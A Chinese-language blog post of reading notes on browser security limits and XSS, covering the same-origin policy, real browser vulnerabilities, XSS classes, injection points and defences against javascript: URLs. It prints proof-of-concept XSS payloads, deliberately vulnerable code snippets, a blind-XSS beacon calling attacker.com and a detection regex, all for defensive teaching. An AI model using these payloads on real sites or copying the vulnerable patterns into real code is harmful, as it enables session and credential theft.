Skip to content

[Security] 瀏覽器安全模型與 XSS 初探

· 31 min

前言#

最近開始讀《Beyond XSS:探索網頁前端資安宇宙》這本書,同時也參加讀書會和其他夥伴一起討論書中內容,不過還是覺得要理解透徹仍需要自己消化並輸出比較有效,因此一樣想依據書中章節順序,撰寫文章說明相關概念,作為我的讀書筆記。文章內容會以書中敘述為主,輔以相關資料,因此部分內容可能是書中沒有、而是我另外補充的資訊,範例程式碼也不一定會和書中相同,示意圖有些是我按照自己的理解重繪的,也不一定和書中圖完全相同,想了解完整書籍內容一樣歡迎大家去買書看。資安算是我比較不熟悉的領域,內容若有任何錯誤歡迎大家回覆告訴我~

此篇文章主要敘述的是書中第一章。

第一章剛好也是我在公司內部技術分享報告的內容,有另外做一份簡報,也可以參考看看簡報,雖然內容大同小異XD,簡報連結點此🔗

瀏覽器的安全模型#

探討網頁前端資安前,我們需要先了解網頁前端的運作,我們要知道網頁前端程式碼是在瀏覽器上執行的,是由瀏覽器負責 render HTML、解析 CSS 並執行 JavaScript 的。而瀏覽器又是在作業系統底下的應用程式運作的,因此網頁前端在整個作業系統中的層級(角色)是這樣:作業系統→應用程式(瀏覽器)→ 網頁前端 JavaScript。

作業系統 → 應用程式(瀏覽器)→ 網頁前端 JavaScript

如上圖所示,越內層的限制越多,因此網頁前端的限制會比後端伺服器還多。在前端開發時會做不到某些事,不是開發者不想做,而是瀏覽器不允許你做。

簡單一句話總結就是:「瀏覽器不給你的,你拿不到,拿不到就是拿不到。」

那瀏覽器到底限制了哪些東西不讓前端開發者做呢?接下來看看瀏覽器的安全限制。

瀏覽器安全限制:禁止主動讀寫本機的檔案#

後端的程式碼是在作業系統上運行的,若沒特別限制的話,想做什麼都可以。然而,前端程式卻不能「主動」讀寫電腦裡面的檔案,例如當你用以下程式碼想讀檔案時,會印出錯誤:Not allowed to load local resource: file:///data/index.html

// ⛔ 不能「主動」讀寫檔案
fetch("file:///data/index.html");
window.open("file:///data/index.html");

但前端程式是可以「被動」讀取檔案,可被動由使用者透過 input 選檔案後,再用 FileReader 讀取檔案內容:

<!-- ✅ 可被動由使用者透過 input 選檔案後,再用 FileReader 讀取檔案內容 -->
<input type="file" onchange="show(this)" />
<script> function show(input) {
const reader = new FileReader();
reader.onload = (event) => {
alert(event.target.result);
};
reader.readAsText(input.files[0]);
}</script>

為何瀏覽器會限制前端主動讀寫檔案?可以先反過來思考,如果網頁前端可以主動讀寫檔案,會發生什麼事?那網頁前端就可以隨意讀取你電腦裡的 SSH key或讀取你的隱私資訊檔案,聽起來非常可怕,你電腦內的東西毫無隱私可言,完全暴露在外。因此為保護使用者,避免資安問題,瀏覽器會有此安全限制。

關於讀寫檔案的漏洞案例,例如 Opera 在 2021 年的漏洞 Bug Bounty Guest Post: Local File Read via Stored XSS in The Opera Browser,Opera 這個瀏覽器有提供一個特殊筆記頁讓使用者建立筆記,而這個筆記頁網址「opera」屬特殊協定,瀏覽器會給予特殊權限,可開啟 file:// 的網頁並執行網頁截圖,且建立筆記時可加入連結 URL,這個連結除了正常的網址如 https://medium.com/ 以外,也可加入 javascript:alert(1) 這類型的連結,可透過 javascript:alert(1)這類連結來執行程式碼,形成 XSS。因此攻擊者可利用 XSS 程式碼來開啟本機檔案、截圖,再傳到攻擊者伺服器,以此竊取受害者隱私資訊。

瀏覽器安全限制:禁止呼叫系統 API#

瀏覽器有提供的 API,網頁前端 JavaScript 可以用,例如我們可用 fetch 發出請求、用 Web Bluetooth API 做藍芽應用、用 MediaDevices 取得使用者麥克風和攝影機。不過瀏覽器在提供這些 API 的同時,也會實作權限管理,當前端開發者想存取使用者的系統 API 功能時,瀏覽器通常會跳出通知要求使用者主動允許權限,網頁才能存取。

網頁前端存取裝置位置資訊前,瀏覽器會先跳出通知要求使用者允許

相對的,瀏覽器沒提供的系統 API,前端無法使用,例如網頁前端無法修改使用者的系統和網路設定,不能去更改你的電腦桌布顏色或更改你要連到哪個 Wi-Fi 網路。而之所以做不到,不是 JavaScript 做不到,JavaScript 只是程式語言,之所以做不到,是因為執行環境瀏覽器沒提供對應的系統 API。

為何瀏覽器要限制執行系統面的操作?一樣也是為了保護使用者,如果你只是開個網頁 Google 一個問題,結果關掉頁面後整個桌布的背景都被改掉、網路設定被調整,想想都覺得非常可怕。

瀏覽器安全限制:禁止存取其他網頁的內容#

瀏覽器最重要的安全假設是:「一個網頁永遠不該有權限存取到其他網頁內容」,每個網頁只有針對自己的權限,只可以改自己的 HTML、執行自己的 JavaScript,不該取得其他網頁的資料,而這就稱為同源政策(same-origin policy,有時簡稱 SOP)。

而所謂不該取得其他網頁的「資料」,不只是頁面內容,連網址都不行,可以試試在 Google 的 console 執行以下程式碼:

var win = window.open('https://medium.com/')
setTimeout(() => {
console.log(win.location.href)
}, 3000)

瀏覽器會另開分頁並載入 Medium 首頁,但 console 會有下圖的錯誤訊息,由此可知,在一個頁面無法存取其他頁面的東西,連網址也不行。

瀏覽器要實作禁止存取其他網頁資料的功能並不容易,2018 年 Google Project Zeror 團隊發表了嚴重漏洞 Meltdown 與 Specture,問題就在於攻擊者可透過 CPU 缺陷存取同一個 process 資料(參考此篇文章,可看出影響範圍非常大),因此瀏覽器不只要阻擋不同來源網站的存取,還要確保兩個網頁在不同 process,以 process 分隔開以避免存取其他網站資料。後續Chrome 也將架構調整得更安全,確保不同網頁無論用什麼方式載入(包含:圖片、iframe),都會用不同 process 處理,這系列安全措施稱為 Site Isolation

另外一個可存取其他網頁資料的漏洞案例如 2022 年的 Issue 1359122: Security: SOP bypass leaks navigation history of iframe from other subdomain if location changed to about,此漏洞問題是可透過 iframe 讀取另一個 cross-origin 頁面的網址。假設頁面與頁面內的 iframe 不同 origin,攻擊者可透過 frames[0].location = 'about:blank' 的方式將 iframe 重導向讓 iframe 與頁面同 origin,然後再去讀 iframe 歷史紀錄來拿到 iframe 的前一個、不同 origin 的網址。

讀到網址會有什麼問題?如果網址有包含 token 像是這樣:https://auth.monica.tw/login?token=xxx,那攻擊者就可透過讀取網址拿到使用者的 token(前提是兩個網站要 same-site,擁有相同 subdomain),示意圖如下,而這不應該發生,當 iframe 重導向後,navigation.entries()就該清空,不能存取之前的歷史紀錄。

不該讀取到 iframe 的網址,否則 token 有可能會被竊取

嚴重漏洞:遠端程式碼執行(Remote Code Execution)#

遠端程式碼執行(Remote Code Execution,簡稱 RCE)意思是攻擊者可鑽瀏覽器的漏洞,並用 JavaScript 在電腦上執行任意指令。舉例來說,當使用者打開https://blog.huli.tw/ 閱讀文章後關掉頁面,但部落格上有運用 RCE 漏洞的 JavaScript 程式碼,可對使用者的電腦下指令、竊取資料或植入惡意軟體。(補充:https://blog.huli.tw/ 的部落格是安全的!請放心閱讀~)

漏洞案例 CVE-2021–30632 就是一個 RCE 的例子,只要用 Chrome(v93 以前)打開一個網頁,攻擊者就可直接入侵電腦並執行指令,攻擊者利用 JavaScript V8 引擎為改善效能的 bug 來執行惡意程式碼。JavaScript V8 引擎會為 JavaScript 程式碼做些改善效能的事,例如:直接編譯經常執行的程式碼,之後就可直接執行編譯後的程式碼,舉例來說,如果有個 add 函式總是接收兩個參數,且參數總是正整數,那 V8 引擎可能會將此函式編譯成 machine code,之後就直接執行編譯後的 machine code。

而攻擊者就是利用這個優化策略,讓 V8 引擎去優化一段函式,並讓 V8 誤以為函式傳入的參數一定是 double 型別陣列,因此固定去取某個特定的記憶體位置(例如:固定取x + 160 的記憶體位置);但實際上攻擊者傳入的參數是 int 型別陣列,固定取x + 160 的記憶體位置會導致記憶體越界讀取,讀到不該讀取的記憶體位置(嘗試讀取超出原本分配的記憶體位置稱為 Out-Of-Bounds Read,OOB),這種混淆不同參數型態的做法稱為 Type Confusion。攻擊者以 Type Confusion 達到讀取/寫入超出範圍的記憶體位置,再搭配 WebAssembly 特性,把編譯過的 WebAssembly 蓋掉,替換為任意程式碼,就可達到任意程式碼執行。

關於此漏洞案例,更詳細的解釋可看此篇解析文章,對漏洞原始碼有興趣的可點此

補充:關於 V8 引擎的運作過程,可參考執行 JavaScript 的 V8 引擎做了什麼?這篇文章,有提到 V8 引擎在編譯 JavaScript 時會採用 Just-In-Time(JIT)的方式,JIT 結合解釋和編譯兩種方式,在執行 JavaScript 時,能分析程式碼執行過程的情報,並在取得足夠情報時,將相關程式碼再編譯成效能更快的機器碼。

XSS 是什麼#

談到前端資安,應該不少人聽過 XSS,接下來就來好好了解 XSS 吧~

XSS 的全名是 Cross-site scripting,之所以不簡稱為 CSS,是因爲 CSS 已經是 Cascading Style Sheets 的簡寫。XSS 是什麼?XSS 代表攻擊者可在其他人網站上執行 JavaScript 程式碼。

假如有個網站這樣寫:

<?php
echo "Hello, " . $\_GET\['name'\];
?>

當我們瀏覽 index.php?name=monica 時,頁面會出現:「Hello, monica」,但當我們瀏覽 index.php?name=<script>alert(1)</script> 時,頁面內容變成 Hello, <script>alert(1)</script> ,同時 <script>會被當成 JavaScript 程式執行,頁面會跳出 alert 視窗。

你可能想說,使用者亂輸入網址,跳出 alert 視窗會怎樣嗎?這裡要先補充,大部分 XSS 範例都是執行 alert(1) 來證明可以執行 JavaScript 程式碼,但 XSS 用途絕對不是只有跳出 alert 這麼簡單,使用 alert(1) 作為範例只是為了方便示範可以執行 JavaScript 而已,實際上當攻擊者達成 XSS 後,他可以做很多事,例如:

(補充:有無拿到 token,會影響可攻擊的範圍與攻擊的時間限制,這之後會再提到)

也因此當我們要更改密碼或進行敏感操作(如:銀行轉帳)時,要再輸入現在的密碼或第二組密碼,就是因為我們自己(使用者本人)知道自己的密碼,但攻擊者不知道,假設 /updatePassword API 需要提供 currentPasswordnewPassword 兩個欄位才能更改,攻擊者雖然可以拿 token 去打 /updatePassword API,但因為/updatePassword API 要求提供currentPassword 的欄位,而攻擊者不知道我們現在的密碼是什麼,因此即使有 token 也無法更改密碼;但如果不需 currentPassword,攻擊者就可拿 auth token 打 /updatePassword API 然後更改密碼,拿到受害者整個帳號。因此輸入現在密碼或第二組密碼就是為了要防範 XSS 的攻擊,避免攻擊者拿到受害者 token 去做敏感操作。

XSS 的來源與分類#

為何會有 XSS 問題?因為我們直接在頁面顯示使用者輸入,而使用者可藉機輸入惡意 payload 植入 JavaScript 程式碼。而要分類 XSS ,可分為兩種角度來看:

1. 內容是如何被放到頁面上的#

從後端放上

例如上方 PHP 範例,攻擊者內容直接在後端輸出,瀏覽器收到 HTML 時,裡面已有 XSS payload。

從前端放上

例如以下程式碼:

<div>Hello, <span id\="name"></span></div>
<script> const qs = new URLSearchParams(window.location.search);
const name = qs.get("name");
document.querySelector("#name").innerHTML = name;</script>

可透過 index.html?name=<script>alert(1)</script> 來植入想要的內容,此方式是從前端輸出內容,JavaScript 用 innerHTML 將 payload 新增到頁面上。小補充,以 innerHTML 注入的 <script> 不會有效果,所以這方式不會跳出 alert

而區分區分前端與後端輸出的方式,就是在網頁按右鍵,檢視網頁原始碼,有在原始碼的是後端輸出,沒有的就是前端用 JavaScript 動態調整。

2. Payload 有沒有被儲存#

Payload 沒有被儲存

例如上述從後端或前端放上內容的方式,都是直接拿 query string 內容呈現在頁面上,payload 沒有被儲存。而攻擊方式就是讓目標點擊帶有 XSS 的連結,觸發攻擊,攻擊的對象就是點擊連結的那一個人。

Payload 有被儲存

例如在留言板或貼文內容中插入HTML,並帶有 <script>。攻擊方式就是插入帶有 <script> 的留言,攻擊的對象是任何觀看到這則留言或貼文的人,也因此這個攻擊可變成 wormable,可自我複製並利用 XSS 幫受害者發文,擴大攻擊人數範圍。

其他還有一些特殊的 XSS 分類,例如:

Self-XSS#

Self-XSS 可分為兩種理解角度,一是「自己攻擊自己」,例如打開網頁開發者工具,自己貼上 JavaScript 程式碼;二是「只能攻擊到自己的 XSS」,例如個人資料的電話號碼輸入框有 XSS 漏洞,使用者可以自己在輸入框輸入 JavaScript 程式碼,但因為電話屬於個人資料,只會有自己看得到 alert(1)的視窗,不過跟其他漏洞串接後,有可能別人就看得到。

Blind XSS#

Blind XSS 指的是 XSS 在你看不到的地方以及不知道的時間點被執行,例如在網頁前台的輸入框都沒有 XSS 漏洞,但其實後台顯示資料的欄位有漏洞,還是可執行 XSS 攻擊。會稱為 Blind 是因為平常測試時不會知道,因為一般沒有存取後台的權限、或是不知道後台的存在。

測試 Blind XSS 的方式就是將 payload 改成會傳送封包的,如 fetch('https://attacker.com/xss'),當 XSS 觸發時,server 會收到請求,就可觀察請求從哪裡送出。

Blind XSS 的漏洞案例例如 Blind Stored XSS Via Staff Name,可在商家後台新增員工,並在員工姓名插入 XSS payload,接著就會在內部後台觸發 XSS 的攻擊。

能夠執行 JavaScript 的方式#

接下來要來看看幾種可執行 JavaScript 的方式,為什麼要了解這些呢?我們要先了解攻擊者會用什麼方式攻擊,才知道對應該如何防禦。就如 Huli 所寫的:

學習攻擊,就是學習防禦,必須先知道怎麼攻擊才知道怎麼防禦,才能防得澈底、防得有效率。

當我們掌控 HTML 後,要怎麼執行 JavaScript?基本上可分為三種方式:

1. <script> 標籤#

透過<script> 標籤可執行 JavaScript 程式碼,但<script> 標籤容易被 WAF(Web Application Firewall)識別,且在 innerHTML 情境下無效。

小補充,innerHTML搭配 iframe 就可執行 script,iframesrcdoc 屬性可放完整 HTML 表示 iframe 的內容,如果此 iframe 與當前頁 same-origin,將 <script> 放在 srcdoc 屬性內就會執行:

document.body.innerHTML = '<iframe srcdoc="&lt;script>alert(1)&lt;/script>"></iframe>'

2. 屬性中的 event handler (都會是 on 開頭)#

屬性中的 event handler 所填入的 JavaScript 也可被執行,event handler 例如:

屬性的 event handler 的程式碼範例如下:

<img src="not_exist" onerror="alert(1)" />
<button onclick\="alert(1)">click me</button>
<svg onload="alert(1)"></svg>

例如載入不存在的圖片路徑,觸發執行 onerror 程式碼,或是點擊按鈕後觸發 XSS(但這需要使用者做一些動作才能觸發),或是載入 svg 時觸發 onload 事件。

3. javascript: 偽協議#

例如在 a 連結的 href 屬性加入 javascript: ,點連結後觸發執行 JavaScript:

<a href=javascript:alert(1)>Link</a>

補充:讓 a 連結點擊後沒反應的方式

<a href=javascript:void(0)>Link</a>

補充:HTML 的簡寫
- HTML 屬性的雙引號不是必要,如果內容沒空格,可拿掉雙引號
- HTML 標籤和屬性間空格可用 / 取代

<svg/onload=alert(1)>

不同情境的 XSS 以及防禦方式#

XSS 的注入點就是可以植入 payload 的地方,例如上述的 document.querySelector(‘#name’).innerHTML = name 可透過 innerHTML 植入 payload,因此這行就是注入點,而注入點也會影響攻擊與防禦方式。

接下來看看不同的注入點與防禦方式。

注入 HTML#

例如以下範例,可透過網址在 innerHTML 填入任何想要的元素:

<div>
Hello, <span id="name"></span>
</div>
<script> const qs = new URLSearchParams(window.location.search)
const name = qs.get('name')
document.querySelector('#name').innerHTML = name</script>

防禦方式就是編碼或跳脫使用者輸入的 <> ,讓使用者無法插入新 HTML 標籤。

注入屬性#

使用者輸入的內容會作為某屬性的值,例如以下:

<div id="content"></div>
<script> const qs = new URLSearchParams(window.location.search)
const clazz = qs.get('clazz')
document.querySelector('#content').innerHTML = `
<div class="${clazz}">
Demo
</div>
`</script>

在這情境下,輸入 <img src=not_exist onerror=alert(1)> 無效,因屬性值不會被當作新標籤。這情況下可分為兩種攻擊方式:

<!-- 改成這樣 -->
<div class=""><img src=not_exist onerror=alert(1)>">
Demo
</div>
<!-- 改成這樣 -->
<div class="" tabindex=1 onfocus="alert(1)" x="">
Demo
</div>

防禦方法是把<>"'這些字元都做編碼,且避免寫出沒有用引號包住的屬性,若屬性沒有用引號包住,即使對<>"'編碼,攻擊者還是可用空格新增屬性,例如以下,payload 可用 x tabindex=1 onfocus=alert(1)來攻擊。

// ⛔ 不要這樣寫
document.querySelector('#content').innerHTML = \`
<div class=${clazz}>
Demo
</div>
\`

補充:div 正常情況下無法 focus,所以 blurfocus 方法都沒用,要加上 tabindex 才可用 tab 或 JavaScript focus 方法獲得焦點。

注入 JavaScript#

使用者的輸入會反映在 JavaScript 內,例如以下:

<script> const name = "<?php echo $_GET['name'] ?>";
alert(name);
</script>

可在 name payload 加入 </script> 提前關閉標籤,再加上其他標籤來達成攻擊,此方式使用者輸入不可換行。

另外一種是使用者輸入可換行,使用 template string 來讓輸入允許換行:

<script> const name = `
Hello, <?php echo $_GET['name'] ?> `;
alert(name);
</script>

此時可在 name payload 加入 ${alert(1)} 來攻擊。

防禦方法一樣是把<>"'這些字元都做編碼,並謹慎對待 template string。

什麼是 javascript: 偽協議?#

真協議是像 HTTP、TCP、FTP 這類的通訊用的協議,而偽協議指的是 mailto:tel:data: 這類與應用程式有關聯的協議,例如 mailto:會打開使用者的信箱應用程式,而 javascript: 也屬於偽協議其中之一,可用來執行 JavaScript。

以下範例說明哪些地方可用javascript:偽協議,有些是需要點擊後才觸發,有些不用任何操作就會觸發。

<!-- 點擊後觸發 -->
<a href="javascript:alert(1)">Link</a>
<!-- 點擊後觸發 -->
<form action="javascript:alert(1)">
<button>submit</button>
</form>
<!-- 點擊後觸發 -->
<form id="f2"></form>
<button form="f2" formaction="javascript:alert(2)">submit</button>
<!-- 不用任何操作就會觸發 -->
<iframe src="javascript:alert(1)"></iframe>

javascript: 的危險性#

javascript: 很危險,因為這是經常被忽略的地方,但應用上卻很常被使用,舉例來說,如果有個編輯器應用程式,可讓使用者填入 Youtube 影片網址,就可在文章自動嵌入該影片,可能會這樣寫:

<iframe src="<?= $youtube_url ?>" width="500" height="300"></iframe>

看似正常,但如果把javascript:alert(1)當作 YouTube 網址填入,就是 XSS 漏洞。

又例如在個人頁可填入自己的部落格網址並加上超連結,當這個連結是 javascript:alert(1)時,就可執行 XSS 攻擊,實際漏洞案例如這個 Hahow XSS 漏洞

一般來說,現代前端框架(如:React、Vue)會做好跳脫字元的保護,如果沒使用 React 的 dangerouslySetInnerHTML 或 Vue 的 v-html,基本上不會有問題,但這些框架不會防範 href 屬性的內容,以以下 React 範例來說,會將使用者輸入的值作為 href 內容,當輸入 javascript:alert(1)時,就會跳出 alert 視窗。

import { useState } from "react";
export function App(props) {
const [href, setHref] = useState("");
const handleInputChange = (event) => {
// XSS payload: javascript:alert(1)
setHref(event.target.value);
};
return (
<div>
<input
type="text"
placeholder="請輸入網址"
value={href}
onChange={handleInputChange}
/>
<br />
<a href={href}>click me</a>
</div>
);
}
export default App;

雖然 React v16.9 後會針對javascript: 在 console 印出警告(ref),可能未來會針對 javascript: 跳錯,但目前還是會執行。

另外補充,編輯器套件 lexical 也曾有過處理連結時沒防禦 javascript:issue,所以選用第三方套件時也需要注意一下~

頁面跳轉的風險#

前端應用很常見的登入後重新導向功能,就是在使用者登入後,將頁面導向原本想訪問的頁面。

const searchParams = new URLSearchParams(location.search)
window.location = searchParams.get('redirect')

上述程式碼有何問題?問題在於 window.location 也可填入 javascript: 偽協議,因此有可能登入後要轉向時,觸發執行惡意 JavaScript 程式碼。

漏洞案例例如 Matters News 網站曾有的漏洞,該網站在使用者登入後呼叫 redirectToTargetredirectToTarget 函式會從網址的 query stringtarget 拿出重導向的目標網址,而如果登入網址是 https://matters.news/login?target=javascript:alert(1),登入後執行轉導時就會跳出 alert,就有辦法執行 XSS 攻擊。在登入頁有 XSS 漏洞的話,攻擊者就可寄送包含惡意連結的釣魚信,使用者點擊後進入合法網站並輸入帳密,登入後攻擊者再以 XSS 偷走帳密,並把使用者轉回首頁,使用者無法察覺帳密已被盜取,非常危險。

javascript: 防禦方式#

最推薦的防禦方式是使用 sanitize-url 這類第三方 library 來防禦。

如果要自己防禦的話,不是不行,但要注意的細節很多,可以分為以下幾點來看:

<a href="&#106avascript&colon;alert(1)">click me</a>
console.log(new URL('javascript:alert(1)'))
/*
{
// ...
href: "javascript:alert(1)",
origin: "null",
pathname: "alert(1)",
// 若 protocol 為 javascript:,代表是偽協議
protocol: "javascript:",
}
*/
const isJavaScriptProtocol =
/^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*\:/i;

最後補充,2023 年通訊軟體 Telegram 網頁版被發現的漏洞就和 javascript: 有關(出處: История одной XSS в Telegram),最後修復方式就是用 new URL 檢查,確認 protocol 非javascript:

小結#

開發時應時刻留意可能有 XSS 漏洞的地方,尤其要注意javascript: 偽協議的處理,且謹記千古名言:

永遠不要相信來自使用者的輸入


Reference:#

如有任何問題歡迎聯絡、不吝指教✍